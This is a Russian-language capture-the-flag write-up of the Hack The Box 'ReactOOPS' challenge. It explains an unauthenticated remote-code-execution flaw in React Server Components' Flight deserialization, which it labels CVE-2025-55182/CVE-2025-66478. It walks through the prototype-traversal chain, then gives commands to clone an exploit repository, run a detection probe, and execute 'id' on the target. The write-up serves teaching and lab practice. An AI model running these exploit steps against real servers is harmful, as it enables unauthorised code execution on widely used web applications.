Разбор задания Hack The Box ReactOOPS (архивное) — полное решение и учебное руководство по CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Включает подробный анализ уязвимости, техники эксплуатации и материалы для командного обучения.
Автор: TheStingR - Team ISP1337Hackers
Задача: ReactOOPS (Web)
Платформа: Hack The Box
Сложность: Очень легкая - УСТАРЕВШАЯ
Дата решения: 13 декабря 2025
ReactOOPS — это веб-задача, которая эксплуатирует CVE-2025-55182 / CVE-2025-66478, критическую уязвимость удаленного выполнения кода без аутентификации в React Server Components и Next.js App Router.
Основные выводы:
hasOwnProperty в десериализации протокола FlightЗадача представляет собой отполированное Next.js-приложение, работающее через интерфейс помощника NexusAI. Приложение обрабатывает ввод пользователя через React Server Components, но едва заметные сбои в реактивном слое намекают на скрытые уязвимости.
Приложение использует:
Протокол Flight — это проприетарный формат сериализации React для передачи данных между сервером и клиентом в архитектурах Server Components. Он использует ссылки, такие как:
$1 — ссылка на объект в позиции 1$1:путь:к:значению — обход пути к свойствуУязвимый код в ReactFlightReplyServer.js:
// Строка ~450: функция getOutlinedModel
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Обработка ссылок типа "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// УЯЗВИМЫЙ ЦИКЛ - НЕТ ПРОВЕРКИ hasOwnProperty!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Позволяет доступ к цепочке прототипов
}
return obj;
}
}
Безопасная версия (как должно быть):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
Без проверки hasOwnProperty злоумышленник может обойти:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Шаг 1: Отправить ссылку "$1:__proto__:then"
│
├─ Доступ к myChunk[__proto__]
└─ Затем доступ к [then] на прототипе
Шаг 2: Создать поддельный объект, похожий на Promise
│
└─ { then: вредоноснаяФункция }
Шаг 3: React вызывает await на этом объекте
│
├─ Вызывает метод .then()
└─ Выполняет функцию злоумышленника
Шаг 4: Произвольное выполнение кода
│
└─ Код выполняется в контексте сервера с правами root
Уязвимость существует до валидации Next-Action:
Поток обработки запроса:
├─ Разбор multipart/form-data
├─ Десериализация протокола Flight ← RCE ПРОИСХОДИТ ЗДЕСЬ
│ └─ Обработка ссылок и объектов
│ └─ Нет проверки hasOwnProperty!
├─ Извлечение заголовка Next-Action
├─ Проверка ID действия ← Это происходит ПОСЛЕ
└─ Выполнение обработчика действия
Вызывая RCE во время десериализации, злоумышленник обходит все проверки безопасности уровня действий.
# Проверить, отвечает ли сервис
curl -v http://<IP>:PORT/
Ожидается: Next.js-приложение, отдающее HTML с включенным RSC
Ищите индикаторы:
next-<script type="text/x-component">.nextСамый надежный индикатор — попытка атаки на загрязнение прототипа и наблюдение за ответом:
# Нерарушающий детектирующий пейлоад
# Отправляет: ["$1:a:a"] со ссылкой на {}
# Уязвимый: {}.a.a вызывает исключение → HTTP 500 + E{"digest"
# Исправленный: hasOwnProperty предотвращает доступ → нет сбоя
# Перейти в каталог задачи
cd /Challenges/ReactOOPS
# Клонировать фреймворк эксплойта react2shell
git clone https://github.com/freeqaz/react2shell.git
# Убедиться, что все скрипты исполняемы
chmod +x react2shell/*.sh
Цель: Подтвердить уязвимость сервера без причинения вреда
cd react2shell
# Запустить детектирующий зонд
./detect.sh http://<IP>:PORT
Что он делает:
Next-Action: x["$1:a:a"] со ссылкой на пустой объект {}{}.a.aОжидаемый вывод:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
Интерпретация:
E{"digest" в ответе: ✅ Формат обработки ошибок ReactЦель: Проверить выполнение произвольных команд
# Выполнить команду 'id' на удаленном сервере
./exploit-redirect.sh -q http://<IP>:PORT "id"